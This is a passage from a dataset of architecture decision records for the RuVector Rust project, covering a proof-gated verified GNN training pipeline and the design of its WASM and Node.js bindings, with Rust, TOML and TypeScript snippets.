verification.\npub struct VerifiedTrainer {\n /// The underlying GNN optimizer (SGD or Adam).\n optimizer: Optimizer,\n /// EWC for continual learning (optional).\n ewc: Option,\n /// Learning rate scheduler.\n scheduler: LearningRateScheduler,\n /// Proof environment for generating attestations.\n proof_env: ProofEnvironment,\n /// Fast arena for high-throughput proof allocation.\n arena: FastTermArena,\n /// Per-step invariant specifications.\n invariants: Vec,\n /// Accumulated attestations for the training run.\n ledger: MutationLedger,\n /// Configuration.\n config: VerifiedTrainerConfig,\n}\n```\n\n### Per-Step Invariant Proofs\n\nEach gradient step is bracketed by invariant checks. The `TrainingInvariant` enum defines what is verified:\n\n```rust\npub enum TrainingInvariant {\n /// Loss stability: loss stays within a bounded envelope relative to\n /// a moving average. Raw loss is NOT monotonic in SGD \u2014 this invariant\n /// captures what is actually enforceable: bounded deviation from trend.\n ///\n /// **This is a true invariant**, not a heuristic: the proof certifies\n /// that loss_t <= moving_avg(loss, window) * (1 + spike_cap).\n LossStabilityBound {\n /// Maximum spike relative to moving average (e.g., 0.10 = 10% above MA).\n spike_cap: f64,\n /// Window size for exponential moving average.\n window: usize,\n /// Gradient norm cap: reject step if ||grad|| > this value.\n max_gradient_norm: f64,\n /// Step size cap: reject step if effective lr * ||grad|| > this value.\n max_step_size: f64,\n },\n\n /// Weight norm conservation: ||W_t|| stays within bounds per layer.\n /// Prevents gradient explosion/vanishing.\n ///\n /// Rollback strategy: **delta-apply** \u2014 gradients are applied to a\n /// scratch buffer, norms checked, then committed only if bounds hold.\n /// This avoids doubling peak memory via full snapshots.\n WeightNormBound {\n /// Maximum L2 norm per layer.\n max_norm: f64,\n /// Minimum L2 norm per layer (prevents collapse).\n min_norm: f64,\n /// Rollback strategy.\n rollback: RollbackStrategy,\n },\n\n /// Equivariance: model output is equivariant to graph permutations.\n /// **This is a statistical test, not a formal proof.** The certificate\n /// records the exact scope: rng seed, sample count, permutation ID hashes.\n /// A verifier can replay the exact same permutations to confirm.\n PermutationEquivariance {\n /// Number of random permutations to test per check.\n samples: usize,\n /// Maximum allowed deviation (L2 distance / output norm).\n max_deviation: f64,\n /// RNG seed for reproducibility. Bound into the proof scope.\n rng_seed: u64,\n },\n\n /// Lipschitz bound: **estimated** Lipschitz constant stays below threshold.\n /// Verified per-layer via spectral norm power iteration.\n ///\n /// **Attestation scope:** The certificate records that the estimated bound\n /// (via K power iterations with tolerance eps) stayed below max_lipschitz.\n /// This does NOT certify the true Lipschitz constant \u2014 it certifies\n /// that the estimate with stated parameters was within bounds.\n LipschitzBound {\n /// Maximum Lipschitz constant per layer.\n max_lipschitz: f64,\n /// Power iteration steps for spectral norm estimation.\n power_iterations: usize,\n /// Convergence tolerance for power iteration.\n tolerance: f64,\n },\n\n /// Coherence: spectral coherence score stays above threshold.\n /// Uses ruvector-coherence::spectral::SpectralCoherenceScore.\n ///\n /// **Attestation scope:** Like Lipschitz, this is an estimate based on\n /// sampled eigenvalues. The certificate records the estimation parameters.\n CoherenceBound {\n /// Minimum coherence score.\n min_coherence: f64,\n /// Number of eigenvalue samples for estimation.\n eigenvalue_samples: usize,\n },\n\n /// Energy gate: compute energy or coherence proxy BEFORE applying\n /// gradients. If below threshold, require a stronger proof tier,\n /// reduce learning rate, or refuse the step entirely.\n ///\n /// Integrates with ruvector-mincut-gated-transformer::EnergyGate\n /// to make training behave like inference gating.\n EnergyGate {\n /// Minimum energy threshold for standard-tier step.\n min_energy: f64,\n /// If energy < min_energy, force this tier for verification.\n escalation_tier: ProofTier,\n /// If energy < critical_energy, refuse the step entirely.\n critical_energy: f64,\n },\n\n /// Custom invariant with a user-provided verification function.\n Custom {\n /// Name for logging and attestation.\n name: String,\n /// Estimated proof complexity (for tier routing).\n complexity: u32,\n },\n}\n\n/// Rollback strategy for failed invariant checks.\npub enum RollbackStrategy {\n /// Apply gradients to a scratch buffer, check invariants, then commit.\n /// Peak memory: weights + one layer's gradients. No full snapshot.\n DeltaApply,\n /// Store per-layer deltas, revert only modified layers on failure.\n /// Peak memory: weights + delta buffer (typically < 10% of weights).\n ChunkedRollback,\n /// Full snapshot (doubles peak memory). Use only when other strategies\n /// are insufficient (e.g., cross-layer invariants).\n FullSnapshot,\n}\n```\n\n### Invariant Verification Flow\n\n```rust\nimpl VerifiedTrainer {\n /// Execute one verified training step.\n ///\n /// 1. Compute gradients via the underlying optimizer\n /// 2. Before applying gradients, verify pre-step invariants\n /// 3. Apply gradients\n /// 4. Verify post-step invariants\n /// 5. Issue attestation for this step\n /// 6. If any invariant fails, roll back gradients and return error\n pub fn step(\n &mut self,\n loss: f64,\n gradients: &Gradients,\n weights: &mut Weights,\n ) -> Result {\n // 1. Pre-step: verify gradient bounds and loss stability\n let pre_proofs = self.verify_invariants(\n InvariantPhase::PreStep,\n loss, weights,\n )?;\n\n // 2. Energy gate: compute energy/coherence proxy BEFORE mutation.\n // If below threshold, escalate proof tier or refuse step.\n if let Some(energy_gate) = &self.energy_gate {\n let energy = energy_gate.evaluate(weights, gradients);\n if energy < energy_gate.critical_energy {\n return Err(GraphTransformerError::MutationRejected {\n reason: format!(\"energy {} < critical {}\", energy, energy_gate.critical_energy),\n });\n }\n if energy < energy_gate.min_energy {\n // Force escalation to stronger proof tier\n self.current_tier_override = Some(energy_gate.escalation_tier);\n }\n }\n\n // 3. Apply gradients via delta-apply strategy (default).\n // Gradients go into a scratch buffer, not directly into weights.\n let delta = self.optimizer.compute_delta(gradients, weights)?;\n\n // 4. Post-step verification on proposed (weights + delta).\n // No mutation has occurred yet.\n match self.verify_invariants_on_proposed(\n InvariantPhase::PostStep, loss, weights, &delta\n ) {\n Ok(post_proofs) => {\n // 5. Commit: apply delta to actual weights.\n weights.apply_delta(&delta);\n\n // 6. Compose attestation and append to ledger.\n let attestation = self.compose_step_attestation(\n pre_proofs, post_proofs,\n );\n self.ledger.append(attestation.clone());\n self.scheduler.step();\n self.current_tier_override = None;\n Ok(StepAttestation {\n step: self.ledger.len() as u64,\n attestation,\n loss,\n invariants_checked: self.invariants.len(),\n overridden: false,\n })\n }\n Err(e) if self.config.allow_override => {\n // Degraded mode: step proceeds with OverrideProof.\n // The override is visible in the certificate.\n let override_proof = self.create_override_proof(&e)?;\n weights.apply_delta(&delta);\n self.ledger.append(override_proof.clone());\n self.override_count += 1;\n Ok(StepAttestation {\n step: self.ledger.len() as u64,\n attestation: override_proof,\n loss,\n invariants_checked: self.invariants.len(),\n overridden: true,\n })\n }\n Err(e) => {\n // Fail-closed: delta is discarded, weights unchanged.\n // Refusal is recorded in the ledger.\n let refusal = self.create_refusal_attestation(&e);\n self.ledger.append(refusal);\n Err(e)\n }\n }\n }\n}\n```\n\n### Tier Routing for Training Invariants\n\nTraining invariant verification uses the same three-tier routing as ADR-047:\n\n| Invariant | Typical Tier | Rationale | Formally Proven? |\n|-----------|-------------|-----------|------------------|\n| `LossStabilityBound` | Reflex | Moving avg comparison + gradient norm check, < 10 ns | **Yes** \u2014 bounded comparison |\n| `WeightNormBound` | Standard(100) | L2 norm computation, < 1 us | **Yes** \u2014 exact computation |\n| `PermutationEquivariance` | Deep | Random permutation + forward pass, < 100 us | **No** \u2014 statistical test with bound scope |\n| `LipschitzBound` | Standard(500) | Power iteration spectral norm, < 10 us | **No** \u2014 estimate with stated tolerance |\n| `CoherenceBound` | Standard(200) | Spectral coherence from sampled eigenvalues, < 5 us | **No** \u2014 estimate with stated sample count |\n| `EnergyGate` | Reflex/Standard | Energy proxy evaluation, < 100 ns | **Yes** \u2014 threshold comparison |\n| `Custom` | Routed by `complexity` field | User-defined | Depends on implementation |\n\n**Distinction between proven and estimated invariants:** The certificate explicitly records which invariants are formally proven (exact computation within the proof system) and which are statistical estimates with bound scope (rng_seed, sample_count, iterations, tolerance). A verifier knows exactly what was tested and can replay it.\n\nThe routing decision is made by converting each `TrainingInvariant` into a `ProofKind` and calling `ruvector_verified::gated::route_proof`. For example, `LossStabilityBound` maps to `ProofKind::DimensionEquality` (literal comparison), while `PermutationEquivariance` maps to `ProofKind::Custom { estimated_complexity: samples * 100 }`.\n\n### Certified Adversarial Robustness\n\nFor models that require adversarial robustness certification, the `verified_training` module provides an IBP (Interval Bound Propagation) / DeepPoly integration:\n\n```rust\npub struct RobustnessCertifier {\n /// Perturbation radius (L-infinity norm).\n epsilon: f64,\n /// Certification method.\n method: CertificationMethod,\n}\n\npub enum CertificationMethod {\n /// Interval Bound Propagation -- fast but loose.\n IBP,\n /// DeepPoly -- tighter but slower.\n DeepPoly,\n /// Combined: IBP for initial bound, DeepPoly for refinement.\n Hybrid { ibp_warmup_epochs: usize },\n}\n\nimpl RobustnessCertifier {\n /// Certify that the model's output is stable within epsilon-ball.\n /// Returns a ProofGate with the certified radius.\n pub fn certify(\n &self,\n model: &GraphTransformer,\n input: &GraphBatch,\n env: &mut ProofEnvironment,\n ) -> Result>;\n}\n\npub struct RobustnessCertificate {\n /// Certified perturbation radius.\n pub certified_radius: f64,\n /// Fraction of nodes certified robust.\n pub certified_fraction: f64,\n /// Method used.\n pub method: CertificationMethod,\n /// Attestation.\n pub attestation: ProofAttestation,\n}\n```\n\n### Training Certificate\n\nAt the end of a training run, a `TrainingCertificate` is produced by composing all step attestations:\n\n```rust\npub struct TrainingCertificate {\n /// Total training steps completed.\n pub total_steps: u64,\n /// Total invariant violations (zero if fully verified).\n pub violations: u64,\n /// Number of steps that proceeded via OverrideProof (degraded mode).\n pub overridden_steps: u64,\n /// Composed attestation over all steps via compose_chain.\n pub attestation: ProofAttestation,\n /// Final loss value.\n pub final_loss: f64,\n /// Final coherence score (if CoherenceBound invariant was active).\n pub final_coherence: Option,\n /// Robustness certificate (if adversarial certification was run).\n pub robustness: Option,\n /// Epoch at which the certificate was sealed.\n pub epoch: u64,\n /// Per-invariant statistics.\n pub invariant_stats: Vec,\n\n // --- Artifact binding (hardening move #7) ---\n\n /// BLAKE3 hash of the final model weights. Binds certificate to\n /// the exact model artifact. Cannot be separated.\n pub weights_hash: [u8; 32],\n /// BLAKE3 hash of the VerifiedTrainerConfig (serialized).\n pub config_hash: [u8; 32],\n /// BLAKE3 hash of the dataset manifest (or RVF manifest root).\n /// None if no dataset manifest was provided.\n pub dataset_manifest_hash: Option<[u8; 32]>,\n /// BLAKE3 hash of the code (build hash / git commit).\n /// None if not provided.\n pub code_build_hash: Option<[u8; 32]>,\n}\n\npub struct InvariantStats {\n /// Invariant name.\n pub name: String,\n /// Whether this invariant is formally proven or a statistical estimate.\n pub proof_class: ProofClass,\n /// Number of times checked.\n pub checks: u64,\n /// Number of times satisfied.\n pub satisfied: u64,\n /// Number of times overridden (degraded mode).\n pub overridden: u64,\n /// Average verification latency.\n pub avg_latency_ns: u64,\n /// Proof tier distribution: [reflex_count, standard_count, deep_count].\n pub tier_distribution: [u64; 3],\n}\n\npub enum ProofClass {\n /// Formally proven: exact computation within the proof system.\n Formal,\n /// Statistical estimate with bound scope. Certificate records\n /// the estimation parameters (rng_seed, iterations, tolerance).\n Statistical {\n rng_seed: Option,\n iterations: usize,\n tolerance: f64,\n },\n}\n\nimpl VerifiedTrainer {\n /// Seal the training run and produce a certificate.\n ///\n /// 1. Compacts the mutation ledger (proof-gated: compaction itself\n /// produces a composed attestation + witness that the compacted\n /// chain corresponds exactly to the original sequence).\n /// 2. Computes BLAKE3 hashes of weights, config, and optional manifests.\n /// 3. Composes all attestations into the final certificate.\n ///\n /// The sealed certificate is a product artifact: verifiable by\n /// third parties without trusting training logs.\n pub fn seal(self, weights: &Weights) -> TrainingCertificate;\n}\n```\n\n### Performance Budget\n\nThe target is proof overhead < 5% of training step time. For a typical GNN training step of ~10 ms (on CPU):\n\n- `LossMonotonicity` (Reflex): < 10 ns = 0.0001%\n- `WeightNormBound` (Standard): < 1 us = 0.01%\n- `LipschitzBound` (Standard): < 10 us = 0.1%\n- `CoherenceBound` (Standard): < 5 us = 0.05%\n- `PermutationEquivariance` (Deep, sampled): < 100 us = 1%\n- Attestation composition: < 1 us = 0.01%\n- **Total**: < 120 us = 1.2% (well within 5% budget)\n\nFor GPU-accelerated training (step time ~1 ms), `PermutationEquivariance` with many samples may exceed 5%. Mitigation: reduce sample count or check equivariance every N steps (configurable via `check_interval` in `VerifiedTrainerConfig`).\n\n### Integration with EWC and Replay Buffer\n\nThe `VerifiedTrainer` composes with `ruvector-gnn`'s continual learning primitives:\n\n```rust\npub struct VerifiedTrainerConfig {\n /// Optimizer type (from ruvector-gnn).\n pub optimizer: OptimizerType,\n /// EWC lambda (0.0 = disabled). Uses ruvector_gnn::ElasticWeightConsolidation.\n pub ewc_lambda: f64,\n /// Replay buffer size (0 = disabled). Uses ruvector_gnn::ReplayBuffer.\n pub replay_buffer_size: usize,\n /// Scheduler type (from ruvector-gnn).\n pub scheduler: SchedulerType,\n /// Invariants to verify per step.\n pub invariants: Vec,\n /// Check interval for expensive invariants (e.g., equivariance).\n /// Cheap invariants (Reflex tier) run every step.\n pub expensive_check_interval: usize,\n /// Warmup steps during which invariant violations are logged but\n /// do not trigger rollback. After warmup, fail-closed applies.\n pub warmup_steps: usize,\n /// Robustness certification config (None = disabled).\n pub robustness: Option,\n /// Energy gate config (None = disabled).\n /// If enabled, energy is evaluated before every gradient application.\n pub energy_gate: Option,\n /// Default rollback strategy for invariant failures.\n pub rollback_strategy: RollbackStrategy,\n /// Allow degraded mode: if true, failed invariant checks produce\n /// an OverrideProof and increment a visible violation counter\n /// instead of stopping the step. Default: false (fail-closed).\n pub allow_override: bool,\n /// Optional dataset manifest hash for binding to the certificate.\n pub dataset_manifest_hash: Option<[u8; 32]>,\n /// Optional code build hash for binding to the certificate.\n pub code_build_hash: Option<[u8; 32]>,\n}\n```\n\nWhen EWC is enabled, the `WeightNormBound` invariant is automatically adjusted to account for the EWC penalty term. When the replay buffer is active, replayed samples also go through invariant verification.\n\n## Consequences\n\n### Positive\n\n- Every training run produces a `TrainingCertificate` bound to the exact model weights via BLAKE3 hash \u2014 portable, verifiable by third parties without trusting logs\n- Per-step invariant proofs catch regressions immediately \u2014 loss spikes, norm explosions, equivariance breaks become training-stopping events, not evaluation surprises\n- Clear distinction between formally proven invariants and statistical estimates \u2014 the certificate is defensible because it states exactly what was proven and what was estimated\n- EnergyGate integration makes training behave like inference gating \u2014 consistent proof-gated mutation across the full lifecycle\n- Delta-apply rollback strategy avoids doubling peak memory while preserving proof-gated semantics\n- Fail-closed by default with explicit OverrideProof for degraded mode \u2014 violations are visible, not silent\n\n### Negative\n\n- `PermutationEquivariance` is a statistical test, not a formal proof \u2014 the certificate is honest about this, but it means equivariance is not guaranteed, only tested with bound scope\n- `LipschitzBound` via power iteration is an estimate \u2014 the certificate attests the estimate was within bounds, not the true Lipschitz constant\n- The `TrainingCertificate` is only as strong as the invariants specified \u2014 missing invariants are not caught\n- Robustness certification (IBP/DeepPoly) produces loose bounds for deep models; the certified radius may be conservative\n- Over-conservative invariants can stop learning \u2014 mitigated by check intervals, warmup periods, and adaptive thresholds (which are themselves bounded)\n\n### Risks\n\n- **Proof cache hit rate drops**: High learning rate causes diverse weight states, Standard/Deep proofs dominate and exceed 5% budget. Mitigated by caching invariant structure (not values) \u2014 proof terms depend on structure, values are parameters. Monitor `ProofStats::cache_hit_rate` and alert below 80%\n- **GPU steps dominated by Deep checks**: Schedule deep checks asynchronously with two-phase commit: provisional update, finalize after deep check, revert if failed. Mitigation preserves proof-gated semantics without blocking the training loop\n- **EWC Fisher information**: O(n_params^2) in naive case. The existing diagonal approximation may miss cross-parameter interactions. Mitigated by periodic full Fisher computation (every K epochs) as a Deep-tier invariant\n- **Attestation chain growth**: 82 bytes per step * 100,000 steps = 8 MB. Mitigated by `MutationLedger::compact` \u2014 compaction is itself proof-gated: it produces a composed attestation plus a witness that the compacted chain corresponds exactly to the original sequence under the current epoch algebra\n- **Certificate separation**: Without artifact binding, the certificate can be detached from the model. Mitigated by BLAKE3 hashes of weights, config, dataset manifest, and code build hash in the certificate\n\n### Acceptance Test\n\nTrain 200 steps with invariants enabled, then intentionally inject one bad gradient update that would push a layer norm above `max_norm`. The system must:\n1. Reject the step (fail-closed)\n2. Emit a refusal attestation to the ledger\n3. Leave weights unchanged (delta-apply was not committed)\n4. The sealed `TrainingCertificate` must show exactly one violation with the correct step index and invariant name\n5. The `weights_hash` in the certificate must match the actual final weights\n\n## Implementation\n\n1. Define `TrainingInvariant` enum and `VerifiedTrainerConfig` in `crates/ruvector-graph-transformer/src/verified_training/invariants.rs`\n2. Implement `VerifiedTrainer` wrapping `ruvector_gnn::training::Optimizer` in `crates/ruvector-graph-transformer/src/verified_training/pipeline.rs`\n3. Implement invariant-to-ProofKind mapping for tier routing\n4. Implement `RobustnessCertifier` with IBP and DeepPoly in `crates/ruvector-graph-transformer/src/verified_training/mod.rs`\n5. Implement `TrainingCertificate` and `seal()` method\n6. Add benchmarks: verified training step overhead on a 3-layer GNN (128-dim, 10K nodes)\n7. Integration test: train a small GNN for 100 steps with all invariants, verify certificate\n\n## References\n\n- ADR-045: Lean-Agentic Integration (`ProofEnvironment`, `FastTermArena`)\n- ADR-046: Graph Transformer Unified Architecture (module structure)\n- ADR-047: Proof-Gated Mutation Protocol (`ProofGate`, `MutationLedger`, `compose_chain`)\n- `crates/ruvector-gnn/src/training.rs`: `Optimizer`, `OptimizerType`, `TrainConfig`, `sgd_step`\n- `crates/ruvector-gnn/src/ewc.rs`: `ElasticWeightConsolidation`\n- `crates/ruvector-gnn/src/scheduler.rs`: `LearningRateScheduler`, `SchedulerType`\n- `crates/ruvector-gnn/src/replay.rs`: `ReplayBuffer`, `ReplayEntry`\n- `crates/ruvector-verified/src/gated.rs`: `ProofTier`, `route_proof`, `verify_tiered`\n- `crates/ruvector-verified/src/proof_store.rs`: `ProofAttestation`, `create_attestation`\n- `crates/ruvector-verified/src/fast_arena.rs`: `FastTermArena`\n- `crates/ruvector-coherence/src/spectral.rs`: `SpectralCoherenceScore`, `SpectralTracker`\n- `crates/ruvector-mincut-gated-transformer/src/energy_gate.rs`: `EnergyGate`\n- Gowal et al., \"Scalable Verified Training\" (ICML 2019) -- IBP training\n- Singh et al., \"Abstract Interpretation with DeepPoly\" (POPL 2019)", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-049-verified-training-pipeline.md", "created_at": "2026-03-28T11:58:49.613787+00:00", "content_hash": "1ac1ed9918a6e2ed8a2d1c024b60e4ffcc979f58de00ecc6335532ec77d2247c"} +{"id": "8859753b-fd16-46f9-a671-38fb7baa983b", "source": "adr", "text": "# ADR-050: Graph Transformer WASM and Node.js Bindings\n\n## Status\n\nAccepted\n\n## Date\n\n2026-02-25\n\n## Context\n\nRuVector's existing crates ship WASM and Node.js bindings following a consistent pattern: a `-wasm` crate using `wasm-bindgen` and a `-node` crate using `napi-rs`. Examples include `ruvector-gnn-wasm` / `ruvector-gnn-node`, `ruvector-graph-wasm` / `ruvector-graph-node`, `ruvector-verified-wasm`, and `ruvector-mincut-wasm` / `ruvector-mincut-node`.\n\nThe new `ruvector-graph-transformer` crate (ADR-046) needs equivalent bindings so that TypeScript/JavaScript applications can use proof-gated graph transformers in the browser (WASM) and on the server (Node.js via NAPI-RS). The challenge is deciding which subset of the Rust API to expose, managing the WASM binary size (target < 300 KB), and ensuring feature parity where feasible.\n\n### Existing Binding Patterns\n\nFrom `crates/ruvector-gnn-wasm/Cargo.toml`:\n- `crate-type = [\"cdylib\", \"rlib\"]`\n- Dependencies: `ruvector-gnn` with `default-features = false, features = [\"wasm\"]`\n- Uses `serde-wasm-bindgen = \"0.6\"` for struct serialization\n- Release profile: `opt-level = \"z\"`, `lto = true`, `codegen-units = 1`, `panic = \"abort\"`\n\nFrom `crates/ruvector-gnn-node/Cargo.toml`:\n- `crate-type = [\"cdylib\"]`\n- Dependencies: `napi = { workspace = true }`, `napi-derive = { workspace = true }`\n- Build dependency: `napi-build = \"2\"`\n- Release profile: `lto = true`, `strip = true`\n\nFrom `crates/ruvector-verified-wasm/Cargo.toml`:\n- Dependencies: `ruvector-verified` with `features = [\"ultra\"]`\n- Uses `wasm-bindgen`, `serde-wasm-bindgen`, `js-sys`, `web-sys`\n- Release profile: `opt-level = \"s\"`, `lto = true`\n\n## Decision\n\nWe will create two binding crates following the established workspace patterns:\n\n- `crates/ruvector-graph-transformer-wasm/` -- WASM bindings via `wasm-bindgen`\n- `crates/ruvector-graph-transformer-node/` -- Node.js bindings via `napi-rs` (v2.16)\n\n### API Surface: What to Expose\n\nNot all Rust functionality translates efficiently to WASM/JS. The binding surface is scoped to three tiers:\n\n**Tier 1 -- Core (both WASM and Node.js)**:\n| API | Rust Source | Binding |\n|-----|------------|---------|\n| `GraphTransformer::new(config)` | `lib.rs` | Constructor, takes JSON config |\n| `GraphTransformer::forward(batch)` | `lib.rs` | Returns `ProofGatedOutput` as JSON |\n| `GraphTransformer::mutate(op)` | `lib.rs` | Returns mutation result + attestation |\n| `ProofGate::unlock()` | `proof_gated/gate.rs` | Unlocks and returns inner value |\n| `ProofGate::is_satisfied()` | `proof_gated/gate.rs` | Boolean check |\n| `proof_chain()` | `proof_gated/mod.rs` | Returns attestation array as `Uint8Array[]` |\n| `coherence()` | via `ruvector-coherence` | Returns coherence snapshot as JSON |\n\n**Tier 2 -- Attention (both WASM and Node.js)**:\n| API | Rust Source | Binding |\n|-----|------------|---------|\n| `PprSampledAttention::new()` | `sublinear_attention/ppr.rs` | Constructor |\n| `LshSpectralAttention::new()` | `sublinear_attention/lsh.rs` | Constructor |\n| `certify_complexity()` | `sublinear_attention/mod.rs` | Returns complexity bound as JSON |\n| `SpectralSparsifier::sparsify()` | `sublinear_attention/spectral_sparsify.rs` | Returns sparsified edge list |\n\n**Tier 3 -- Training (Node.js only, not WASM)**:\n| API | Rust Source | Binding |\n|-----|------------|---------|\n| `VerifiedTrainer::new(config)` | `verified_training/pipeline.rs` | Constructor |\n| `VerifiedTrainer::step()` | `verified_training/pipeline.rs` | Single training step |\n| `VerifiedTrainer::seal()` | `verified_training/pipeline.rs` | Returns `TrainingCertificate` as JSON |\n| `RobustnessCertifier::certify()` | `verified_training/mod.rs` | Returns certificate as JSON |\n\nTraining is excluded from WASM because:\n1. Training requires `rayon` for parallelism (not available in WASM)\n2. `ElasticWeightConsolidation` uses `ndarray` with BLAS, which adds ~500 KB to WASM size\n3. Training workloads are server-side; inference is the browser use case\n\n### WASM Crate Structure\n\n```\ncrates/ruvector-graph-transformer-wasm/\n Cargo.toml\n src/\n lib.rs # wasm_bindgen entry points\n types.rs # TS-friendly wrapper types (JsValue serialization)\n proof_gate.rs # ProofGate WASM bindings\n attention.rs # Sublinear attention WASM bindings\n error.rs # Error conversion to JsValue\n tests/\n web.rs # wasm-bindgen-test integration tests\n package.json # npm package metadata\n tsconfig.json # TypeScript configuration for generated types\n```\n\n```toml\n# Cargo.toml\n[package]\nname = \"ruvector-graph-transformer-wasm\"\nversion = \"2.0.4\"\nedition = \"2021\"\nrust-version = \"1.77\"\nlicense = \"MIT\"\ndescription = \"WASM bindings for ruvector-graph-transformer: proof-gated graph transformers in the browser\"\n\n[lib]\ncrate-type = [\"cdylib\", \"rlib\"]\n\n[dependencies]\nruvector-graph-transformer = { version = \"2.0.4\", path = \"../ruvector-graph-transformer\",\n default-features = false,\n features = [\"proof-gated\", \"sublinear-attention\"] }\nwasm-bindgen = { workspace = true }\nserde-wasm-bindgen = \"0.6\"\nserde = { workspace = true, features = [\"derive\"] }\nserde_json = { workspace = true }\njs-sys = { workspace = true }\nweb-sys = { workspace = true, features = [\"console\"] }\ngetrandom = { workspace = true, features = [\"wasm_js\"] }\n\n[dev-dependencies]\nwasm-bindgen-test = \"0.3\"\n\n[profile.release]\nopt-level = \"z\"\nlto = true\ncodegen-units = 1\npanic = \"abort\"\n\n[profile.release.package.\"*\"]\nopt-level = \"z\"\n```\n\n### WASM Binding Implementation\n\n```rust\n// src/lib.rs\nuse wasm_bindgen::prelude::*;\nuse ruvector_graph_transformer::{GraphTransformer, GraphTransformerConfig};\n\n#[wasm_bindgen]\npub struct WasmGraphTransformer {\n inner: GraphTransformer,\n}\n\n#[wasm_bindgen]\nimpl WasmGraphTransformer {\n /// Create a new graph transformer from JSON config.\n #[wasm_bindgen(constructor)]\n pub fn new(config_json: &str) -> Result {\n let config: GraphTransformerConfig = serde_json::from_str(config_json)\n .map_err(|e| JsValue::from_str(&e.to_string()))?;\n let inner = GraphTransformer::new(config, DefaultPropertyGraph::new())\n .map_err(|e| JsValue::from_str(&e.to_string()))?;\n Ok(Self { inner })\n }\n\n /// Run forward pass. Input and output are JSON-serialized.\n pub fn forward(&mut self, batch_json: &str) -> Result {\n // Deserialize, run forward, serialize result\n // ...\n }\n\n /// Get the proof attestation chain as an array of Uint8Arrays.\n pub fn proof_chain(&self) -> Result {\n let chain = self.inner.proof_chain();\n let array = js_sys::Array::new();\n for att in chain {\n let bytes = att.to_bytes();\n let uint8 = js_sys::Uint8Array::from(&bytes[..]);\n array.push(&uint8);\n }\n Ok(array.into())\n }\n\n /// Get coherence snapshot as JSON.\n pub fn coherence(&self) -> Result {\n let snapshot = self.inner.coherence();\n serde_json::to_string(&snapshot)\n .map_err(|e| JsValue::from_str(&e.to_string()))\n }\n}\n```\n\n### Node.js Crate Structure\n\n```\ncrates/ruvector-graph-transformer-node/\n Cargo.toml\n src/\n lib.rs # napi-rs entry points\n types.rs # NAPI-RS type wrappers\n proof_gate.rs # ProofGate Node bindings\n attention.rs # Sublinear attention Node bindings\n training.rs # VerifiedTrainer Node bindings (Tier 3)\n build.rs # napi-build\n index.d.ts # TypeScript type declarations\n package.json # npm package metadata\n __test__/\n index.spec.mjs # Node.js integration tests\n```\n\n```toml\n# Cargo.toml\n[package]\nname = \"ruvector-graph-transformer-node\"\nversion = \"2.0.4\"\nedition = \"2021\"\nrust-version = \"1.77\"\nlicense = \"MIT\"\ndescription = \"Node.js bindings for ruvector-graph-transformer via NAPI-RS\"\n\n[lib]\ncrate-type = [\"cdylib\"]\n\n[dependencies]\nruvector-graph-transformer = { version = \"2.0.4\", path = \"../ruvector-graph-transformer\",\n features = [\"full\"] }\nnapi = { workspace = true }\nnapi-derive = { workspace = true }\nserde_json = { workspace = true }\n\n[build-dependencies]\nnapi-build = \"2\"\n\n[profile.release]\nlto = true\nstrip = true\n```\n\n### Node.js Binding Implementation (Training Example)\n\n```rust\n// src/training.rs\nuse napi::bindgen_prelude::*;\nuse napi_derive::napi;\nuse ruvector_graph_transformer::verified_training::{\n VerifiedTrainer, VerifiedTrainerConfig, TrainingCertificate,\n};\n\n#[napi(object)]\npub struct JsTrainingCertificate {\n pub total_steps: u32,\n pub violations: u32,\n pub final_loss: f64,\n pub final_coherence: Option,\n pub attestation_hex: String,\n}\n\n#[napi]\npub struct NodeVerifiedTrainer {\n inner: VerifiedTrainer,\n}\n\n#[napi]\nimpl NodeVerifiedTrainer {\n #[napi(constructor)]\n pub fn new(config_json: String) -> Result {\n let config: VerifiedTrainerConfig = serde_json::from_str(&config_json)\n .map_err(|e| Error::from_reason(e.to_string()))?;\n let inner = VerifiedTrainer::new(config)\n .map_err(|e| Error::from_reason(e.to_string()))?;\n Ok(Self { inner })\n }\n\n #[napi]\n pub fn step(&mut self, loss: f64, gradients_json: String) -> Result {\n // Deserialize gradients, run step, serialize attestation\n // ...\n }\n\n #[napi]\n pub fn seal(&mut self) -> Result {\n // Seal training run and return certificate\n // ...\n }\n}\n```\n\n### WASM Size Budget\n\nTarget: < 300 KB for the release `.wasm` binary (gzipped).\n\nSize breakdown estimate:\n| Component | Estimated Size |\n|-----------|---------------|\n| `ruvector-verified` (proof gates, arena, attestations) | ~40 KB |\n| `ruvector-solver` (forward-push, random-walk, neumann) | ~60 KB |\n| `ruvector-attention` (core attention only, no training) | ~80 KB |\n| `ruvector-coherence` (metrics, no spectral) | ~15 KB |\n| `wasm-bindgen` glue | ~20 KB |\n| Serde JSON | ~50 KB |\n| **Total (estimated)** | ~265 KB |\n\nSize is controlled by:\n1. `opt-level = \"z\"` (optimize for size)\n2. `lto = true` (dead code elimination across crates)\n3. `panic = \"abort\"` (no unwinding machinery)\n4. `default-features = false` on `ruvector-graph-transformer` (only `proof-gated` and `sublinear-attention`)\n5. Excluding training and the `spectral` feature from `ruvector-coherence`\n\nIf the target is exceeded, further reductions:\n- Replace `serde_json` with `miniserde` (-30 KB)\n- Strip `tracing` instrumentation via feature flag (-10 KB)\n- Use `wasm-opt -Oz` post-processing (-10-20%)\n\n### TypeScript Types\n\nBoth packages ship TypeScript type declarations. The WASM package generates types via `wasm-bindgen`'s `--typescript` flag. The Node.js package uses `napi-rs`'s automatic `.d.ts` generation from `#[napi]` attributes.\n\nKey TypeScript interfaces:\n\n```typescript\n// Generated by wasm-bindgen / napi-rs\n\nexport interface GraphTransformerConfig {\n proofGated: boolean;\n attentionMechanism: 'ppr' | 'lsh' | 'spectral-sparsify';\n pprAlpha?: number;\n pprTopK?: number;\n lshTables?: number;\n lshBits?: number;\n spectralEpsilon?: number;\n}\n\nexport interface ProofGatedOutput {\n value: T;\n satisfied: boolean;\n attestationHex: string;\n}\n\nexport interface ComplexityBound {\n opsUpperBound: number;\n memoryUpperBound: number;\n complexityClass: string;\n}\n\nexport interface TrainingCertificate {\n totalSteps: number;\n violations: number;\n finalLoss: number;\n finalCoherence: number | null;\n attestationHex: string;\n invariantStats: InvariantStats[];\n}\n```\n\n### Feature Parity Matrix\n\n| Feature | Rust | WASM | Node.js |\n|---------|------|------|---------|\n| ProofGate | Yes | Yes | Yes |\n| Three-tier routing | Yes | Yes | Yes |\n| Attestation chain | Yes | Yes | Yes |\n| PPR-sampled attention | Yes | Yes | Yes |\n| LSH spectral attention | Yes | Yes | Yes |\n| Spectral 